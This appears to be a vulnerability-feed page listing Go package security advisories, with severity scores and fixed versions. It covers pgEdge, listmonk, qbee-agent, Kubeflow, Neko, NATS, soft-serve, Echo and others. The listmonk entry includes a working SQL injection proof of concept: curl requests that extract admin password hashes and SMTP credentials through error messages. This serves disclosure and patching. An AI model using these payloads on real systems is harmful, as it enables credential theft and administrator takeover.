- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 10, 2026 · first seen here 1 h ago
CVSS score: 5.8 Severity: Medium Identifier: CVE-2026-125326GHSA-68G8-GH8F-7RHG pgEdge RAG Server discloses part of the configured provider credential through API error messages Package: github.com/pgedge/pgedge-rag-server fixed in 1.0.1-0.20260729022402-72e0785a6d7c Published Published
pgEdge RAG Server is an API server for retrieval-augmented generation over PostgreSQL content using pgvector. Prior to 2.0.0, the unauthenticated query API in internal/server/handlers.go returns err.Error() from failed LLM provider calls, preserving provider-controlled error text that can quote a partially masked submitted API key. A remote caller can cause an authentication failure and obtain part of the operator's credential for the third-party provider account through the query API error response. This issue is fixed in version 2.0.0.
- Exploitation
- No known exploitation
- EPSS
- 0.49% chance of exploitation in the next 30 days, higher than 34.9% of CVEs
- CVSS
- 5.8 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - Versions
- < 1.0.1-0.20260729022402-72e0785a6d7c · fixed in 1.0.1-0.20260729022402-72e0785a6d7c
- Weakness
- CWE-209, CWE-522
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 10, 2026 · first seen here 1 h ago
CVSS score: 5.5
Severity: Medium
Identifier: CVE-2026-62361GHSA-XGJR-7J9Q-2H4R
listmonk: SQL Injection in /api/subscribers/export bypasses table access control, leaking admin password hashes and SMTP credentials
Package: github.com/knadh/listmonk fixed in 1.1.1-0.20260619102436-c0a6525009a6
Published Published
Summary
A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.
Details
The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.
internal/core/subscribers.go — protected path (regular query):
// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
fmt.Sprintf("Error preparing subscriber query: %v", err))
}
internal/core/subscribers.go — vulnerable path (export):
// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt) // executes directly without restriction
queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:
SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...
Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.
PoC
Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.
Step 1 — Confirm the bypass (blocked on query, open on export):
# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}
# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error
Step 2 — Error-based exfiltration of admin password hash:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}
Step 3 — Error-based exfiltration of SMTP credentials:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}
Step 4 — Time-based blind confirmation:
time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution
Impact
This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:
- Read bcrypt password hashes of all admin accounts (including Super Admin)
- Extract SMTP credentials, API keys, and all values stored in the
settingstable - Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover
- Execute data-modifying SQL via PostgreSQL CTEs (write impact)
Attack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.
This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.
- Exploitation
- No known exploitation
- EPSS
- 0.42% chance of exploitation in the next 30 days, higher than 27.7% of CVEs
- CVSS
- 5.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N - Versions
- < 1.1.1-0.20260619102436-c0a6525009a6 · fixed in 1.1.1-0.20260619102436-c0a6525009a6
- Weakness
- CWE-89
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 1 h ago
CVSS score: 5.4 Severity: Medium Identifier: CVE-2026-129237GHSA-VX32-XF7G-9GHR qbee-agent: Docker Compose build context Zip Slip writes outside context directory Package: go.qbee.io/agent fixed in 0.0.0-20260908095235-eb7875f0a849 Published Published
qbee-agent is the device agent component of the qbee.io IoT device management platform. Prior to 2026.41, the unpackTar extraction logic in app/utils/tar.go validates cleaned archive entry paths with strings.HasPrefix(targetPath, destdirClean) without enforcing a path-separator boundary. When UseContext enables the Docker Compose build context path in app/configuration/bundle_docker_compose.go, a less-privileged archive supplier with delegated configuration and/or file-manager access can provide a sibling-prefix traversal entry that passes the check, causing utils.UnpackTar to create directories and regular files outside the intended context extraction directory with qbee-agent process privileges, despite the supplier lacking authority to write those sibling files. In deployments where only full device or fleet administrators can provide Docker Compose context archives, this behavior is hardening rather than a crossed security boundary. The demonstrated impact is limited to nearby cache or project paths sharing the destination prefix, may affect integrity or availability of qbee-agent-managed Docker Compose state, and does not establish arbitrary absolute-path writes or direct code execution. This issue is fixed in version 2026.41.
- Exploitation
- No known exploitation
- EPSS
- 0.49% chance of exploitation in the next 30 days, higher than 34.9% of CVEs
- CVSS
- 5.4 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L - Versions
- < 0.0.0-20260908095235-eb7875f0a849 · fixed in 0.0.0-20260908095235-eb7875f0a849
- Weakness
- CWE-22
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 16, 2026 · first seen here 1 h ago
CVSS score: 5.4 Severity: Medium Identifier: CVE-2026-88982GHSA-2XWH-426Q-42C5 Kubeflow Pipelines: Cross-tenant execution-cache poisoning / output substitution via a namespace-blind cache key in the cache webhook (multi-user) Package: github.com/kubeflow/pipelines fixed in 0.0.0-20260910172610-620d0cc89ae0 Published Published
Kubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflows. Prior to 2.18.0, the legacy V1/raw-Argo execution cache mutating webhook and cache-server storage path hash selected template fields without the Kubernetes namespace, use the key alone for lookups and duplicate checks, and trust the mutable pipelines.kubeflow.org/execution_cache_key annotation when publishing outputs. In multi-user deployments where tenant namespaces share the cache service, a tenant with workload-submission privileges can read another namespace's cached outputs or seed matching outputs that are substituted into a later step. Standard KFP V2 component pods bypass this cache, matching requires the selected template fields and staleness policy, and arbitrary code execution or service availability impact is not established. This issue is fixed in version 2.18.0.
- Exploitation
- No known exploitation
- EPSS
- 0.22% chance of exploitation in the next 30 days, higher than 7.2% of CVEs
- CVSS
- 5.4 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N - Versions
- < 0.0.0-20260910172610-620d0cc89ae0 · fixed in 0.0.0-20260910172610-620d0cc89ae0
- Weakness
- CWE-345, CWE-639
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 5, 2026 · first seen here 1 h ago
CVSS score: 5.4 Severity: Medium Identifier: CVE-2026-116679GHSA-5CP7-FP4J-WWCV Neko: Authorization bypass in legacy WebRTC input handling Package: github.com/m1k1o/neko/server fixed in 0.0.0-20260805142851-395ca1a6f62b Published Published
Neko is a a self-hosted virtual browser that runs in Docker and uses WebRTC. From version 3.0.0 until 3.1.5, Neko deployments with legacy mode and session.implicit_hosting enabled incorrectly authorize legacy WebRTC data-channel input because LegacyIsHost() evaluates host status incorrectly. An authenticated room member who establishes a WebRTC connection can send mouse and keyboard events through the legacy control channel while controls are locked or the member is otherwise unauthorized by the modern control API. This issue is fixed in version 3.1.5.
- Exploitation
- No known exploitation
- EPSS
- 0.41% chance of exploitation in the next 30 days, higher than 27.2% of CVEs
- CVSS
- 5.4 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L - Versions
- >= 0.0.0-20250401220545-fe94c999c6af, < 0.0.0-20260805142851-395ca1a6f62b · fixed in 0.0.0-20260805142851-395ca1a6f62b
- Weakness
- CWE-863
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 27, 2026 · first seen here 1 h ago
CVSS score: 5.3 Severity: Medium Identifier: CVE-2026-58254GHSA-P3J5-5HRQ-P75H nats-server Leaf node connections bypass Nats-Trace-Dest permission check Package: github.com/nats-io/nats-server/v2 fixed in 2.14.3 (+1 branch) Published Published
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT and edge computing.
The NATS Server supports leafnode connections between servers and message tracing through NATS headers.
Problem Description
Message trace destination checks were applied to ordinary client connections but not consistently to messages arriving through leafnode connections.
A leafnode operator could cause trace events to be sent to subjects that would not otherwise be permitted and could use trace-only behavior to prevent normal delivery or storage of affected messages.
Trace events can include routing, subscription, account, service import and JetStream metadata. The payload of the original application message is not chosen through the trace event itself.
Affected Versions
Versions v2.14.2, v2.12.7 and below are vulnerable. The issue is fixed in v2.14.3 and v2.12.8.
Workarounds
Where possible, avoid granting publish paths from less-trusted leaf nodes into subjects for which trace-only behavior would affect delivery guarantees. No other known workarounds are available aside from upgrading to a fixed release.
References
- GHSA advisory: https://github.com/nats-io/nats-server/security/advisories/GHSA-p3j5-5hrq-p75h
- Credit: Koda Reef
- Exploitation
- No known exploitation
- EPSS
- 0.31% chance of exploitation in the next 30 days, higher than 16.1% of CVEs
- CVSS
- 5.3 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- >= 2.14.0-RC.1, < 2.14.3 · fixed in 2.14.3 (and 1 older branch)
- Weakness
- CWE-863
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 1 h ago
CVSS score: 5.3 Severity: Medium Identifier: CVE-2026-103033GHSA-GFWJ-45PC-W6R5 ALTCHA: Nil-map panic (pre-verification DoS) in v1 parseServerSignature on malformed VerificationData Package: github.com/altcha-org/altcha-lib-go/v2 fixed in 2.1.0 Published Published
ALTCHA is a Go library for creating and verifying ALTCHA challenges. Prior to 2.1.0, parseServerSignature can leave ServerSignatureVerificationData.Extra uninitialized when url.ParseQuery returns partial values and an error for a malformed percent escape in VerificationData. A later write of an unknown parsed key to the nil map panics before VerifyServerSignature or VerifyServerSignatureSafe completes signature verification, so an unauthenticated client can abort a request. Standard net/http recovers the request goroutine, while application goroutines or frameworks without recovery can crash the process. This issue is fixed in version 2.1.0.
- Exploitation
- No known exploitation
- EPSS
- 0.42% chance of exploitation in the next 30 days, higher than 27.8% of CVEs
- CVSS
- 5.3 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Versions
- >= 2.0.0, < 2.1.0 · fixed in 2.1.0
- Weakness
- CWE-248, CWE-476
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 19, 2026 · first seen here 1 h ago
CVSS score: 5.3
Severity: Medium
Identifier: CVE-2026-129235GHSA-GJ7R-P794-HHQ5
Kubeshark: MCP download_file writes fetched bytes to an unvalidated destination path
Package: github.com/kubeshark/kubeshark fixed in 0.0.2-0.20260812200004-a76a1920dc75
Published Published
Kubeshark is an eBPF-powered network observability tool for Kubernetes. From 53.1.0 until 53.4.0, the download_file tool in cmd/mcpRunner.go accepts caller-controlled path and dest values, fetches a selected Kubeshark Hub API response, and writes the returned bytes through os.Create(dest) in callDownloadFile without confining the destination. An attacker who influences arguments through an AI agent driving kubeshark mcp can write Hub-supplied bytes to any path writable by the local MCP user and can read captured network traffic from default auth-disabled Hub deployments. The tool is registered without --allow-destructive; reliable code execution is not demonstrated because the bytes are constrained to Hub API responses. Hub-side default authentication remains outside this remediation, so captured traffic can remain readable in default auth-disabled Hub deployments after the local destination-write fix. The destination-write issue is fixed in version 53.4.0.
- Exploitation
- No known exploitation
- EPSS
- 0.20% chance of exploitation in the next 30 days, higher than 5.6% of CVEs
- CVSS
- 5.3 out of 10 · source NVD (github.com)
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N - Versions
- >= 0.0.2-0.20260304171723-eb7dc42b6ea0, < 0.0.2-0.20260812200004-a76a1920dc75 · fixed in 0.0.2-0.20260812200004-a76a1920dc75
- Weakness
- CWE-22, CWE-88
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 16, 2026 · first seen here 1 h ago
CVSS score: 5.3 Severity: Medium Identifier: CVE-2026-128086GHSA-RRFC-GJM9-CGRJ OpenTelemetry-Go: Eager W3C baggage-property materialization causes bounded memory-allocation amplification Package: go.opentelemetry.io/otel/baggage fixed in 1.47.0 Published Published
OpenTelemetry-Go is the Go implementation of OpenTelemetry. From version 1.0.0-RC1 until version 1.47.0, baggage.Parse and propagation.Baggage.Extract eagerly materialize every W3C baggage property through parseMember, grow property slices, serialize members, and copy properties into internal/baggage.Item. A valid densely populated baggage header can therefore cause allocation traffic and retained memory disproportionate to its bounded input size. Remote impact requires baggage extraction to be enabled, attacker-controlled input to reach it, and extraction to run before authentication or on a public route; the evidence establishes increased allocation and garbage-collection pressure but not reliable process termination. This issue is fixed in version 1.47.0.
- Exploitation
- No known exploitation
- EPSS
- 0.62% chance of exploitation in the next 30 days, higher than 43.8% of CVEs
- CVSS
- 5.3 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Versions
- >= 1.0.0-RC1, < 1.47.0 · fixed in 1.47.0
- Weakness
- CWE-400, CWE-405
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 13, 2026 · first seen here 1 h ago
CVSS score: 5.3 Severity: Medium Identifier: CVE-2026-128085GHSA-Q7GW-24FR-5P69 opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes Package: go.opentelemetry.io/otel/sdk fixed in 1.47.0 Published Published
OpenTelemetry-Go is the Go implementation of OpenTelemetry. From SDK version 1.33.0, SDK log version 0.9.0, and trace version 1.35.0 until version 1.47.0, the AttributeValueLengthLimit and WithAttributeValueLengthLimit truncation paths in sdk/internal/attrnorm, sdk/log/internal/attrnorm, and trace/auto.go do not count valid U+FFFD replacement characters. This is a distinct incomplete-fix defect in the replacement truncation code introduced by the remediation for CVE-2026-81869. Values composed of or dominated by those characters can therefore exceed the configured character and memory bound in span, log-record, and auto-instrumentation trace attributes. Attacker-controlled telemetry attributes can increase retained memory and pipeline pressure, while confidentiality and integrity are not affected. This issue is fixed in version 1.47.0.
- Exploitation
- No known exploitation
- EPSS
- 0.52% chance of exploitation in the next 30 days, higher than 37.8% of CVEs
- CVSS
- 5.3 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Versions
- >= 1.33.0, < 1.47.0 · fixed in 1.47.0
- Weakness
- CWE-135, CWE-770
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 13, 2026 · first seen here 1 h ago
CVSS score: 5.3
Severity: Medium
Identifier: CVE-2026-86041GHSA-WCHH-MRV2-5H4Q
ezBookkeeping: Source-IP allowlist (MCP & API token) is bypassable via a spoofed X-Forwarded-For header
Package: github.com/mayswind/ezbookkeeping fixed in 1.6.0
Published Published
ezBookkeeping is an open source, self-hosted personal finance application. From 0.10.0 until 1.6.0, ezBookkeeping constructs its Gin router with gin.New() without configuring SetTrustedProxies, causing c.ClientIP() to trust a spoofed X-Forwarded-For value. An unauthenticated remote attacker can supply an allowlisted address to bypass the mcp_allowed_remote_ips or api_token_allowed_remote_ips gate. A valid MCP or API token remains required for protected actions. When such actions occur, the same spoofed value is stored in Transaction.CreatedIp and the request log, attributing activity to the trusted host instead of the attacker. This issue is fixed in version 1.6.0.
- Exploitation
- No known exploitation
- EPSS
- 0.32% chance of exploitation in the next 30 days, higher than 17.8% of CVEs
- CVSS
- 5.3 out of 10 · source NVD (github.com)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- >= 0.10.0, < 1.6.0 · fixed in 1.6.0
- Weakness
- CWE-348
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 4, 2026 · first seen here 1 h ago
CVSS score: 5.3 Severity: Medium Identifier: GHSA-FGXM-5HVV-X4VH charmbracelet/soft-serve HTTP responses disclose the existence and names of private repositories Package: github.com/charmbracelet/soft-serve fixed in 0.12.3 Published Published
Summary
Soft Serve answers Go's ?go-get=1 requests by walking up the requested path until it finds a repository, then rendering that repository's name and clone URL into a go-import meta tag. The walk checked that each candidate repository existed, but never that the caller could read it.
A request for a path inside a private repository, such as GET /secret/anything?go-get=1, therefore returned 200 naming secret and its clone URL, even though GET /secret?go-get=1 correctly returned 404. The same ?go-get=1 exception in the HTTP access middleware also let requests reach the LFS and dumb-HTTP routes with the repository existence check skipped, where two LFS handlers dereferenced the missing repository and panicked.
The same disclosure appears without ?go-get=1. The Git and LFS routes answered a repository the caller could not read differently depending on whether it existed: an anonymous clone of a private repository got 401 while a missing one got 404, and a signed-in user without access got the reverse pattern. Either way, one request confirms whether a guessed name is a private repository. This was found while fixing the go-get issue and is included here because it has the same impact and is fixed in the same release.
Impact
A remote client can learn, with one request per candidate name, which private repositories exist, their exact names, and their clone URLs. Under the shipped default of anon-access: read-only no account is needed, and an authenticated user without access to the repository gets the same answer. Project names in private deployments are often sensitive (internal codenames, unreleased products, customer names), and this turns them into an enumerable namespace.
The Git and LFS routes give the same confirmation for any guessed name, to anonymous and authenticated callers alike, and an invalid Authorization: Bearer header does the same even where credentials are otherwise required.
Repository contents, refs, commits, and collaborators are not exposed, and no write path is reachable. The LFS panic is caught by the recovery middleware and returns a 500; the server stays up. Hidden repositories are not affected beyond what direct access already allows, since hiding a repository removes it from listings but does not restrict reading it by name.
Reachable over the HTTP interface, which is enabled by default (AV:N), with one ordinary GET request per name (AC:L). No privileges are required under the default anonymous read access (PR:N), and no victim interaction is needed (UI:N). Only repository names and clone URLs are disclosed, which is a low confidentiality impact (C:L), with no integrity or availability impact (I:N, A:N), since the panic is recovered per request.
Root Cause
Two pieces of code each assumed the other had checked access.
withAccess in pkg/web/git.go computed the access level for the requested path and then let go-get requests through ahead of the guard meant to hide repositories:
case r.URL.Query().Get("go-get") == "1" && accessLevel >= access.ReadOnlyAccess:
// Allow go-get requests to passthrough.
break
case repo == nil, accessLevel < access.ReadOnlyAccess:
// Don't hint that the repo exists if the user doesn't have access
renderNotFound(w, r)
return
For a path that is not itself a repository, AccessLevelForUser returns the anonymous access level to anonymous callers and read-write to any authenticated user, since that is what allows a push to create a new repository. The go-get case therefore always matched for a sub-path, and the "don't hint that the repo exists" guard below it never ran.
GoGetHandler in pkg/web/goget.go then trimmed path segments with path.Dir until be.Repository succeeded, and rendered the first repository it found. It never asked whether the caller could read that repository. The access level the middleware had computed was for a different path.
Because the exception lived in the middleware shared by every Git route rather than on the go-get route, it also applied to the dumb-HTTP and LFS routes. There it skipped the repo == nil guard, and serviceLfsBasicDownload and serviceLfsBasicUpload dereferenced a nil repository from the request context. The sibling LFS handlers already checked for nil, which is why only those two panicked.
The Git and LFS routes behind withAccess had the opposite problem: each branch chose its own response for a caller who could not read the repository, and the choice depended on which condition failed first. On the smart HTTP routes a missing repository was checked before credentials, so it returned 404, while a private one fell through to the credential prompt and returned 401. On the LFS write routes the write-access check ran before the read check, so a signed-in user got 403 for a private repository and 404 for a missing one. And parseJWT in pkg/web/auth.go rejected a token for a missing repository with a "missing repository" error, which the caller treated as anonymous, while a token for an existing repository failed as invalid and got 403.
Affected Versions
v0.5.0 through v0.12.2. The go-get walk-up without an access check was introduced in commit 3dfecd9 (fix(http): go-get requests), and private repositories arrived in the same v0.5.0 release. The middleware exception that also reached the LFS and dumb-HTTP routes was added in v0.6.0, together with the HTTP LFS routes, and the differing responses on the Git and LFS routes date from the same middleware.
Patches
Fixed in v0.12.3.
The go-get route no longer goes through the per-repository access middleware. It authenticates the caller and nothing more, and GoGetHandler checks read access on each repository it considers during the walk-up. A repository the caller cannot read is skipped exactly as if it did not exist, so an unreadable repository and a missing one produce the same 404, and a readable repository nested under an unreadable one still resolves.
The go-get exception is removed from withAccess entirely. Every Git, dumb-HTTP, and LFS route now enforces the repository existence and access checks regardless of the query string. The two LFS basic handlers also check for a missing repository, as their siblings did, so a future routing mistake returns a 404 rather than a panic.
AccessLevelForUser used to prefer the repository attached to the request over the name it was asked about. During the walk-up those differ, so the access check now always looks the repository up by the name it is given.
Bad credentials on a go-get request now return 403, the same as on the Git routes. Previously they were treated as anonymous for paths that were not themselves repositories.
On the Git and LFS routes, any repository the caller cannot read now gets one answer, decided in one place: 403 when the credentials are wrong, 401 with a credential prompt when the caller is anonymous, and 404 when they are signed in. This matches how GitHub responds. The LFS write checks now run after the read check, and a JWT presented for a missing repository is rejected as an invalid token like any other.
Two behaviours change as a result. An anonymous clone of a mistyped repository name now prompts for credentials instead of reporting that the repository does not exist, and a signed-in user without access to a private repository now gets "not found" instead of a credential prompt.
Pushing over HTTP to a name that does not exist still creates the repository, so a user allowed to create repositories can still tell a taken name from a free one by trying to push. That is inherent to push-to-create and is not changed here.
Workarounds
None. Upgrade to the patched release.
Disabling the HTTP server (http.enabled: false) removes the exposure, at the cost of HTTP Git access. Setting anon-access to no-access limits the disclosure to authenticated users.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 5.3 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Versions
- >= 0.5.0, < 0.12.3 · fixed in 0.12.3
- Weakness
- CWE-203, CWE-425, CWE-863
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Oct 30, 2026 · first seen here 1 h ago
CVSS score: 5.3 Severity: Medium Identifier: CVE-2026-118653GHSA-246P-CPWV-V3JQ Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration Package: github.com/labstack/echo/v5 fixed in 5.1.0 Published Published
Echo is a Go web framework. From 4.0.0 until 5.1.0, Context.RealIP falls back to client-supplied X-Forwarded-For or X-Real-IP values when Echo.IPExtractor is unset, and the default RateLimiter uses that result as its client identifier. A remote attacker can rotate arbitrary forwarded-address values to obtain new rate-limit buckets and bypass IP-based throttling used for controls such as brute-force or request-volume protection. This issue is fixed in Echo v5.1.0.
- Exploitation
- No known exploitation
- EPSS
- 0.57% chance of exploitation in the next 30 days, higher than 40.9% of CVEs
- CVSS
- 5.3 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Versions
- < 5.1.0 · fixed in 5.1.0
- Weakness
- CWE-290
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 28, 2026 · first seen here 1 h ago